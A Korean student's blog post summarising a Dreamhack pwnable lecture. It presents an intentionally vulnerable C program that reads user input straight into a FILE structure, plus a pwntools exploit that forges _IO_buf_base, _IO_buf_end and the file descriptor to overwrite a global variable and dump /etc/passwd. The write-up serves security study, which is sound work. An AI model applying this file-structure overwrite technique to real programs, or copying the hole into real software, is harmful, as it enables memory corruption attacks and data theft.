[Dreamhack] _IO_FILE: 3 - _IO_FILE Arbitrary Address Write- 2

securitykss·2023년 3월 1일
0

Pwnable 강의(dreamhack)

목록 보기
57/58
post-thumbnail

https://dreamhack.io/lecture/courses/274 을 토대로 작성한 글입니다.

3. 코드 분석

// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie 

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char account_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_account() {
	FILE *fp;

	fp = fopen("/etc/passwd", "r");

	fread(account_buf, sizeof(char), sizeof(account_buf), fp);
	write(1, account_buf, sizeof(account_buf));

	fclose(fp);
}

int main() {
  FILE *fp;
  char file_buf[1024];

  init();

  fp = fopen("/etc/issue", "r");

  printf("Data: ");
  read(0, fp, 300);

  fread(file_buf, 1, sizeof(file_buf)-1, fp);

  printf("%s", file_buf);

  if( overwrite_me == 0xDEADBEEF) 
  	read_account();
    
  fclose(fp);
}

code description

"/etc/issue" 파일을 열고, 파일 포인터에 300 바이트 만큼의 값을 입력할 수 있다.

이 후 fread 함수를 통해 파일의 내용을 읽고 출력한다.

이 때, 전역 변수인 overwrite_me 변수의 값이 0xDEADBEEF 라면 read_account 함수를 호출해

"/etc/passwd" 파일의 내용을 출력하고 프로그램을 종료한다.

4. Exploit

4.1 exploit design

익스플로잇의 목표는 fread 함수에서 참조하는 파일 구조체를 조작해 전역 변수 overwrite_me의 값을 0xDEADBEEF로 덮어쓰고

"/etc/passwd" 파일의 내용을 획득하는 것이다.

1. 파일 구조체 제작

임의 주소에 값을 쓰기 위해서는 _IO_buf_end와 _IO_buf_base를 조작해야 한다.

파일의 내용을 읽을 때 아래와 같은 코드가 실행되므로, _IO_buf_base를 overwrite_me의 주소로 조작하고,

_IO_buf_end를 overwrite_me 주소에 1024 보다 큰 수를 더한 값으로 조작한다.

1024보다 큰 숫자를 더하는 이유는,

_IO_new_file_underflow 코드 내에서 _IO_buf_end - _IO_buf_base 값이 fread 함수의 인자로 전달된 읽을 크기보다 커야하는 조건이 있기 때문이다.

해당 조건을 만족했다면 파일에 데이터를 쓰는 것이 아닌

프로그램에서 표준 입력을 통해 값을 쓰기 위해 fileno 즉, 파일 디스크립터를 stdin을 나타내는 0으로 덮어쓰면 된다.

4.2 파일 구조체 조작

# Name: iofile_aaw.py

from pwn import *

p = process("./iofile_aaw")
elf = ELF('./iofile_aaw')

overwrite_me = elf.symbols['overwrite_me']

payload = p64(0xfbad2488)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base 
payload += p64(0) # _IO_write_ptr 
payload += p64(0) # _IO_write_end
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) # stdin

p.sendline(payload)

p.sendline(p64(0xDEADBEEF) + "\x00"*1024)

p.interactive()

위 코드는 전역 변수 overwrite_me에 값을 덮어쓰도록 파일 구조체를 조작한 익스플로잇 코드이다.

overwrite_me에 값을 쓰기 위해 _IO_buf_base와 _IO_buf_end에 각각 overwrite_me 주소와 overwrite_me + 1024 의 주소를 입력한다.

값을 덮어쓰기 위한 과정을 모두 마치면,

프로그램에서 표준 입력을 사용해 값을 입력할 수 있도록 _fileno를 0으로 변경한다.

마치며

이렇게 파일 읽기와 관련된 라이브러리 코드를 직접 분석해보고 파일 구조체를 조작하여 임의 주소에 값을 쓰는 실습을 했다.

파일을 읽는 과정은 파일 구조체의 일부 멤버 변수를 검사하고, 포인터에 읽은 데이터를 저장한다.

만약 파일 구조체를 덮어쓸 수 있다면 내부 실행되는 코드를 악용하여 임의 주소에 프로그램의 표준 입력을 통해 값을 쓸 수 있다.

Reference

https://dreamhack.io/lecture/courses/274

profile
보안 공부를 하는 학생입니다.

0개의 댓글